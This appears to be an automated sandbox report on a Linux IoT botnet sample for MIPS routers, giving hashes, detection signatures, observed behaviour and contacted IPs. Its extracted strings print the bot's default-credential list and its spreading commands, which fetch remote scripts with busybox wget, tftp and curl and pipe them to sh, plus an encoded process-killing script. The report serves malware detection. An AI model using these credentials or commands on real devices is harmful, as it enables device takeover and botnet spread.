Linux Analysis Report
la.bot.mipsel.elf

Overview

General Information

Sample name: la.bot.mipsel.elf
Analysis ID: 1541463
MD5: 41f53ab8564a930677417a0be30211ce
SHA1: 3a4f4d310260fec492694fcd5feacb6328cb4fdb
SHA256: bddbc9982b74bc7d4c41ee836b21c19154e42146be2d781ee9cda80c132eb81e
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 64
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.mipsel.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.mipsel.elf ReversingLabs: Detection: 31%
Found strings indicative of a multi-platform dropper
Source: la.bot.mipsel.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.mipsel.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.mipsel.elf String: /exe/maps|ash|login|wget|curl|tftp|ntpdate/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/fd/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.mipsel.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4@
Sample listens on a socket
Source: /tmp/la.bot.mipsel.elf (PID: 6219) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 144.143.209.13
Source: unknown TCP traffic detected without corresponding DNS query: 144.143.209.13
Source: unknown TCP traffic detected without corresponding DNS query: 88.167.2.134
Source: unknown TCP traffic detected without corresponding DNS query: 88.167.2.134
Source: unknown TCP traffic detected without corresponding DNS query: 17.65.196.245
Source: unknown TCP traffic detected without corresponding DNS query: 17.65.196.245
Source: unknown TCP traffic detected without corresponding DNS query: 43.145.116.171
Source: unknown TCP traffic detected without corresponding DNS query: 43.145.116.171
Source: unknown TCP traffic detected without corresponding DNS query: 220.206.233.160
Source: unknown TCP traffic detected without corresponding DNS query: 220.206.233.160
Source: unknown TCP traffic detected without corresponding DNS query: 192.253.188.78
Source: unknown TCP traffic detected without corresponding DNS query: 192.253.188.78
Source: unknown TCP traffic detected without corresponding DNS query: 54.108.0.232
Source: unknown TCP traffic detected without corresponding DNS query: 54.108.0.232
Source: unknown TCP traffic detected without corresponding DNS query: 98.183.133.133
Source: unknown TCP traffic detected without corresponding DNS query: 75.121.100.247
Source: unknown TCP traffic detected without corresponding DNS query: 98.183.133.133
Source: unknown TCP traffic detected without corresponding DNS query: 54.126.71.197
Source: unknown TCP traffic detected without corresponding DNS query: 75.121.100.247
Source: unknown TCP traffic detected without corresponding DNS query: 54.126.71.197
Source: unknown TCP traffic detected without corresponding DNS query: 102.156.183.101
Source: unknown TCP traffic detected without corresponding DNS query: 102.156.183.101
Source: unknown TCP traffic detected without corresponding DNS query: 42.136.40.54
Source: unknown TCP traffic detected without corresponding DNS query: 42.136.40.54
Source: unknown TCP traffic detected without corresponding DNS query: 197.252.230.120
Source: unknown TCP traffic detected without corresponding DNS query: 205.73.59.91
Source: unknown TCP traffic detected without corresponding DNS query: 197.252.230.120
Source: unknown TCP traffic detected without corresponding DNS query: 185.226.62.213
Source: unknown TCP traffic detected without corresponding DNS query: 205.73.59.91
Source: unknown TCP traffic detected without corresponding DNS query: 2.32.207.228
Source: unknown TCP traffic detected without corresponding DNS query: 185.226.62.213
Source: unknown TCP traffic detected without corresponding DNS query: 174.92.64.159
Source: unknown TCP traffic detected without corresponding DNS query: 2.32.207.228
Source: unknown TCP traffic detected without corresponding DNS query: 207.146.178.41
Source: unknown TCP traffic detected without corresponding DNS query: 174.92.64.159
Source: unknown TCP traffic detected without corresponding DNS query: 51.181.44.184
Source: unknown TCP traffic detected without corresponding DNS query: 207.146.178.41
Source: unknown TCP traffic detected without corresponding DNS query: 41.18.106.76
Source: unknown TCP traffic detected without corresponding DNS query: 51.181.44.184
Source: unknown TCP traffic detected without corresponding DNS query: 93.152.166.86
Source: unknown TCP traffic detected without corresponding DNS query: 41.18.106.76
Source: unknown TCP traffic detected without corresponding DNS query: 93.152.166.86
Source: unknown TCP traffic detected without corresponding DNS query: 85.133.182.252
Source: unknown TCP traffic detected without corresponding DNS query: 85.133.182.252
Source: unknown TCP traffic detected without corresponding DNS query: 51.248.27.56
Source: unknown TCP traffic detected without corresponding DNS query: 51.248.27.56
Source: unknown TCP traffic detected without corresponding DNS query: 223.184.121.122
Source: unknown TCP traffic detected without corresponding DNS query: 223.184.121.122
Source: unknown TCP traffic detected without corresponding DNS query: 111.51.200.169
Source: la.bot.mipsel.elf String found in binary or memory: http:///curl.sh
Source: la.bot.mipsel.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.mipsel.elf (PID: 6219) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal64.evad.linELF@0/0@0/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.mipsel.elf (PID: 6225) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.mipsel.elf (PID: 6225) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6225) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6225) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6225) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6225) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6225) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6225) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6225) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6225) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6225) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/1/maps Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/840/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6219) File opened: /proc/81/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.mipsel.elf (PID: 6225) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.mipsel.elf (PID: 6219) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.mipsel.elf, 6219.1.00007fffb39c1000.00007fffb39e2000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/la.bot.mipsel.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.mipsel.elf
Source: la.bot.mipsel.elf, 6219.1.00005600b6b59000.00005600b6c01000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mipsel
Source: la.bot.mipsel.elf, 6219.1.00005600b6b59000.00005600b6c01000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/mipsel
Source: la.bot.mipsel.elf, 6219.1.00007fffb39c1000.00007fffb39e2000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsel

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
200.28.248.157
 unknown Chile
7418 TELEFONICACHILESACL false
65.224.188.21
 unknown United States
701 UUNETUS false
175.156.147.91
 unknown Singapore
4773 MOBILEONELTD-AS-APMobileOneLtdMobileInternetServicePr false
187.73.221.121
 unknown Brazil
53054 STETNETINFORMATICALTDABR false
61.62.248.212
 unknown Taiwan; Republic of China (ROC)
18182 SONET-TWSonyNetworkTaiwanLimitedTW false
171.46.37.195
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
71.80.130.132
 unknown United States
20115 CHARTER-20115US false
150.182.218.104
 unknown United States
14209 UT-CHATTANOOGAUS false
190.87.40.177
 unknown El Salvador
14754 TelguaGT false
21.148.6.75
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
88.120.164.100
 unknown France
12322 PROXADFR false
97.4.252.107
 unknown United States
22394 CELLCOUS false
120.148.78.14
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
67.148.33.109
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
20.254.175.164
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
208.13.94.210
 unknown United States
1239 SPRINTLINKUS false
112.110.99.74
 unknown India
45271 ICLNET-AS-APIdeaCellularLimitedIN false
33.104.249.103
 unknown United States
2686 ATGS-MMD-ASUS false
78.22.137.213
 unknown Belgium
6848 TELENET-ASBE false
92.156.128.73
 unknown France
3215 FranceTelecom-OrangeFR false
65.70.173.24
 unknown United States
7018 ATT-INTERNET4US false
187.119.23.95
 unknown Brazil
26599 TELEFONICABRASILSABR false
194.47.139.176
 unknown Sweden
1653 SUNETSUNETSwedishUniversityNetworkEU false
112.169.159.176
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
82.73.86.158
 unknown Netherlands
33915 TNF-ASNL false
134.89.156.144
 unknown United States
14706 MBARI-MAINUS false
190.199.55.245
 unknown Venezuela
8048 CANTVServiciosVenezuelaVE false
157.149.29.192
 unknown United States
3464 ASC-NETUS false
154.191.215.255
 unknown Egypt
8452 TE-ASTE-ASEG false
96.195.244.106
 unknown United States
7922 COMCAST-7922US false
205.252.84.251
 unknown United States
3491 BTN-ASNUS false
171.175.46.71
 unknown United States
9874 STARHUB-MOBILEStarHubLtdSG false
157.129.143.126
 unknown Finland
41701 CAP-FIN-ASFI false
140.139.211.194
 unknown United States
1527 DNIC-AS-01527US false
114.173.135.105
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
183.140.102.39
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
133.203.32.195
 unknown Japan 2518 BIGLOBEBIGLOBEIncJP false
191.173.75.69
 unknown Brazil
26615 TIMSABR false
215.50.251.145
 unknown United States
721 DNIC-ASBLK-00721-00726US false
62.180.31.128
 unknown European Union
5400 BTGB false
136.220.136.18
 unknown United States
721 DNIC-ASBLK-00721-00726US false
154.253.197.232
 unknown Algeria
36947 ALGTEL-ASDZ false
165.111.98.97
 unknown United States
4185 ATTIS-ASN4185US false
201.250.226.223
 unknown Argentina
22927 TelefonicadeArgentinaAR false
57.237.113.226
 unknown Belgium
2686 ATGS-MMD-ASUS false
27.214.81.209
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
111.170.99.29
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
124.70.41.104
 unknown China
55990 HWCSNETHuaweiCloudServicedatacenterCN false
38.245.154.194
 unknown United States
174 COGENT-174US false
1.221.112.201
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
19.17.54.117
 unknown United States
3 MIT-GATEWAYSUS false
62.251.252.97
 unknown Morocco
6713 IAM-ASMA false
119.97.210.39
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
16.1.214.85
 unknown United States
unknown unknown false
184.92.250.19
 unknown United States
33363 BHN-33363US false
198.4.255.220
 unknown United States
701 UUNETUS false
183.146.7.190
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
204.225.13.52
 unknown Canada
32638 TRENT-UNIVERSITYCA false
113.41.207.14
 unknown Japan 17506 UCOMARTERIANetworksCorporationJP false
35.244.141.124
 unknown United States
15169 GOOGLEUS false
138.212.200.12
 unknown Japan 59121 AKNWS-NETAsahiKaseiNetworksCorporationJP false
200.205.99.0
 unknown Brazil
10429 TELEFONICABRASILSABR false
27.99.131.197
 unknown China
4804 MPX-ASMicroplexPTYLTDAU false
113.215.252.252
 unknown China
24139 WASUHZHuashumediaNetworkLimitedCN false
88.58.0.211
 unknown Italy
3269 ASN-IBSNAZIT false
112.104.219.60
 unknown Taiwan; Republic of China (ROC)
4780 SEEDNETDigitalUnitedIncTW false
190.139.74.25
